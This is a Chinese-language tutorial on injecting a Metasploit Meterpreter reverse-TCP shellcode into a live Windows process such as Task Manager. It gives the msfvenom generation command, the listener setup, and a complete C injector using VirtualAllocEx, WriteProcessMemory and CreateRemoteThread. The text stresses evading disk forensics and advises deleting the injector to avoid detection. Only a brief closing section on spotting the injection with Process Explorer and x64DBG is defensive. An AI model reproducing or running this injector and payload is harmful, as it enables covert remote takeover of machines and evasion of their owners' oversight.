将ShellCode注入进程内存

内存注入ShellCode的优势就在于被发现的概率极低，甚至可以被忽略，这是因为ShellCode被注入到进程内存中时，其并没有与之对应的硬盘文件，从而难以在磁盘中取证，但也存在一个弊端由于内存是易失性存储器，所以系统必须一直开机，不能关闭，该攻击手法可以应用于服务器上面，安全风险最小，注入后将注入器删除即可。

1.生成64位ShellCode代码命令

[root@localhost ~]# msfvenom -a x64 --platform Windows \
-p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f c

2.开启侦听器。

[root@localhost ~]# msfconsole
[-] ***rting the Metasploit Framework console.../
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit

2.编译并运行这段代码，将ShellCode注入到系统的任务管理器上，最后别忘了删除注入器，不然被发现打断腿。

#include <stdio.h>
#include <windows.h>

unsigned char ShellCode[] =
"\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xce\x25\x3d\xaf\x16\x16\x69\x6f\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x32\x6d\xbe\x4b\xe6\xfe"
"\xa5\x6f\xce\x25\x7c\xfe\x57\x46\x3b\x3e\x98\x6d\x0c\x7d\x73"
"\x5e\xe2\x3d\xae\x6d\xb6\xfd\x0e\x5e\xe2\x3d\xee\x6d\xb6\xdd"
"\x46\x5e\x66\xd8\x84\x6f\x70\x9e\xdf\x5e\x58\xaf\x62\x19\x5c"
"\xd3\x14\x3a\x49\x2e\x0f\xec\x30\xee\x17\xd7\x8b\x82\x9c\x64"
"\x6c\xe7\x9d\x44\x49\xe4\x8c\x19\x75\xae\xc6\x70\xe8\x17\xd6"
"\x2e\x3f\xa0\x93\x64\x69\x6f\xce\xae\xbd\x27\x16\x16\x69\x27"
"\x4b\xe5\x49\xc8\x5e\x17\xb9\x3f\x45\x6d\x25\xeb\x9d\x56\x49"
"\x26\xcf\xf5\xde\xf9\x5e\xe9\xa0\x2e\x45\x11\xb5\xe7\x17\xc0"
"\x24\x5e\x07\x6d\x0c\x6f\xba\x57\xa8\xa6\xc3\x64\x3c\x6e\x2e"
"\xf6\x1c\x9e\x82\x26\x71\x8b\x1e\x53\x50\xbe\xbb\xfd\x65\xeb"
"\x9d\x56\x4d\x26\xcf\xf5\x5b\xee\x9d\x1a\x21\x2b\x45\x65\x21"
"\xe6\x17\xc6\x28\xe4\xca\xad\x75\xae\xc6\x57\x31\x2e\x96\x7b"
"\x64\xf5\x57\x4e\x28\x36\x8f\x7f\x75\x2c\xfa\x36\x28\x3d\x31"
"\xc5\x65\xee\x4f\x4c\x21\xe4\xdc\xcc\x76\x50\xe9\xe9\x34\x26"
"\x70\x52\x4e\x9d\x49\x25\x5b\x6f\xce\x64\x6b\xe6\x9f\xf0\x21"
"\xee\x22\x85\x3c\xaf\x16\x5f\xe0\x8a\x87\x99\x3f\xaf\x31\x19"
"\xa9\xc7\xcf\x3b\x7c\xfb\x5f\x9f\x8d\x23\x47\xd4\x7c\x15\x5a"
"\x61\x4f\x68\x31\xf0\x71\x26\xfc\x7e\x68\x6e\xce\x25\x64\xee"
"\xac\x3f\xe9\x04\xce\xda\xe8\xc5\x1c\x57\x37\x3f\x9e\x68\x0c"
"\x66\x5b\x27\xa9\x27\x31\xe5\x75\x26\xd4\x5e\x96\xaf\x86\xac"
"\xfc\xee\xac\xfc\x66\xb0\x2e\xda\xe8\xe7\x9f\xd1\x03\x7f\x8f"
"\x7d\x71\x26\xf4\x5e\xe0\x96\x8f\x9f\xa4\x0a\x62\x77\x96\xba"
"\x4b\xe5\x49\xa5\x5f\xe9\xa7\x1a\x2b\xcd\xae\xaf\x16\x16\x21"
"\xec\x22\x35\x75\x26\xf4\x5b\x58\xa6\xa4\x21\x7c\xf7\x5e\x9f"
"\x90\x2e\x74\x27\xe4\x67\x49\xe9\xbc\xec\x36\x25\x43\xfa\x5e"
"\x95\xad\x4f\x90\xac\xcb\xc5\x56\x57\x30\x07\xce\x35\x3d\xaf"
"\x57\x4e\x21\xe6\x3c\x6d\x0c\x66\x57\xac\x31\xcb\x9d\xc0\xc2"
"\x7a\x5e\x9f\xaa\x26\x47\xe2\x70\x9e\xdf\x5f\xe0\x9f\x86\xac"
"\xe7\xe7\x9f\xef\x28\xd5\xcc\xfc\xf5\xf0\xe9\xc3\xea\x97\xce"
"\x58\x15\xf7\x57\x41\x30\x07\xce\x65\x3d\xaf\x57\x4e\x03\x6f"
"\x94\x64\x87\xa4\x39\x19\x59\x90\x1b\x72\x64\xee\xac\x63\x07"
"\x22\xaf\xda\xe8\xe6\xe9\xd8\x80\x53\x31\xda\xc2\xe7\x17\xd5"
"\x21\x46\x08\x6d\xb8\x59\x63\xa2\x28\x90\x29\x7d\x57\xaf\x4f"
"\x5f\xae\xad\x3e\x90\x9f\xf9\xe9\xc3\x69\x6f";

int main()
{
	HANDLE Handle;
	HANDLE remoteThread;
	PVOID remoteBuffer;
	DWORD Pid;
	printf("输入待注入进程PID号：");
	scanf("%d", &Pid);
	Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE,Pid);
	remoteBuffer = VirtualAllocEx(Handle, NULL, sizeof(ShellCode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(Handle, remoteBuffer, ShellCode, sizeof(ShellCode), NULL);
	remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
	CloseHandle(Handle);
	return 0;
}

如果你被黑了，可以使用ProcessExplorer监控系统的行为，观察异常的软件，如下可以看出任务管理显然不会存在网络通信，而此处居然有链接进来，明显是被注入Shell了。

然后使用x64DBG附加任务管理器，看是否存在远程线程，挨个找，找到后提取出他的ShellCode代码，进行解密，看能不能找到一些蛛丝马迹。